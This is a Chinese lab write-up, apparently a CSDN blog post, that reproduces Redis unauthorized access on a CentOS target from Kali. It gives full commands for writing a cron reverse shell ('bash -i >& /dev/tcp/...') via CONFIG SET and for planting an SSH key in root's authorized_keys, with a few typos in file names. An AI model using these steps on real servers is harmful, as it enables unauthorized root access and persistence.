Redis未授权访问

漏洞介绍:

redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

实验环境

靶机:Centos7  
攻击机:kali

漏洞复现

安装redis数据库

命令: wget http://download.redis.io/releases/redis-3.2.0.tar.gz

791374ad23dd3c68a6f007191a79414.png
提示没有安装wget 首先安装wget

yum install -y wget

之后重新输入命令下载压缩包
e2fb48eea3a3b2335b9462c0beaa7e8.png
将安装包下载之后 解压缩到当前目录

tar xzf redis-3.2.0.tar.gz

之后进入解压缩目录
编译

make

发现在编译过程中报错 提示未发现gcc命令
a7b1a04ac1c4e5f5fce850384db7f63.png
安装gcc

yum install -y gcc

安装gcc后成功编译
修改redis.conf配置文件
a7bc9116c4b74ce353bfefdd2527552.png
在bind 127.0.0.1前面加上#注释
允许其他机器访问redis服务
将保护模式改为no
即也是允许外联
6821a9bca117e478ac0610a5ba7ebcd.png
之后启动redis服务

./src/redis-server redis.conf

82fd87655121f06be6f7501a901a273.png

连接redis

使用kali进行连接

redis-cli -h 192.168.175.135

可能会连接失败
连接失败时
关闭redis所在系统的防火墙
7a78fbe0c02cdffd748c0e2141dd524.png
关闭后kali连接成功2948b664f3e20302fdf700d38909e88.png
reids相关命令:

192.168.63.130:6379>info  //查看redis版本信息、一些具体信息、服务器版本信息等等
192.168.63.130:6379>set x "test"  //将x的值设置为test
192.168.63.130:6379>flushall    //把整个数据库删除
192.168.63.130:6379>KEYS *  //查看所有键
192.168.63.130:6379>CONFIG GET dir   //获取redis默认的目录
192.168.63.130:6379>CONFIG GET dbfilename  //获取rdb文件名

反弹shell

在kali中监听7999端口

nc -lnvp 7999

在kali中 连接redis服务后
运行以下命令

root@kali:~# redis-cli -h 192.168.175.135
192.168.175.135:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.175.129/7999 0>&1\n"
OK
#动态配置 redis 文件持久化路径,并执行持久化命令
#/var/spool/cron/ 目录为定时任务目录
192.168.175.135:6379> config set dir /var/spool/cron/
OK
#root 对应的是 /var/spool/cron 定时任务目录下的子目录,该目录下的定时任务是以用户为纬度存储的,所以这里保存的目录名称应该是当前登录的用户名 root
192.168.175.135:6379> config set dbfilename root
OK
192.168.175.135:6379> save
OK

558bf79ba5618e722108a4da70b0566.png
等待一分钟,查看kali是否监听到redis
监听成功
用户权限为root用户
8fe5c13a55ae9c1414ab7879f20fd15.png
841f2ecacba2c53bef3db79b0b00fa4.png

使用ssh登录靶机

攻击机和靶机打开 SSH服务

systemctl start ssh(没有的话用apt命令安装)

在目标机创建SSH公钥可写目录

mkdir /root/.ssh   //ls -al

清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件:rm -rf*
在攻击机生成SSH公钥(需要连续敲击三下回车)

ssh-keygen -t rsa

在攻击机上切换至公钥存放目录:cd /root/.ssh
image.png
将公钥写入test.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)

(echo "\n\n";cat /root/.ssh/id_rsa_pub)>test.txt

将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入

 cat 1.txt | redis-cli -h 目标IP -x set crack

使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机

config set dir /root/.ssh        //将本地公钥写入redis机器中
config get dir   
config set dbfilename authorized_keys 		//设置保存文件名为authorized_keys
save

在攻击机使用ssh免密登录

cd /root/.ssh
ssh -i id_rsa root@目标IP

image.png

参考文章:

https://blog.csdn.net/m0_56798435/article/details/123584134

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值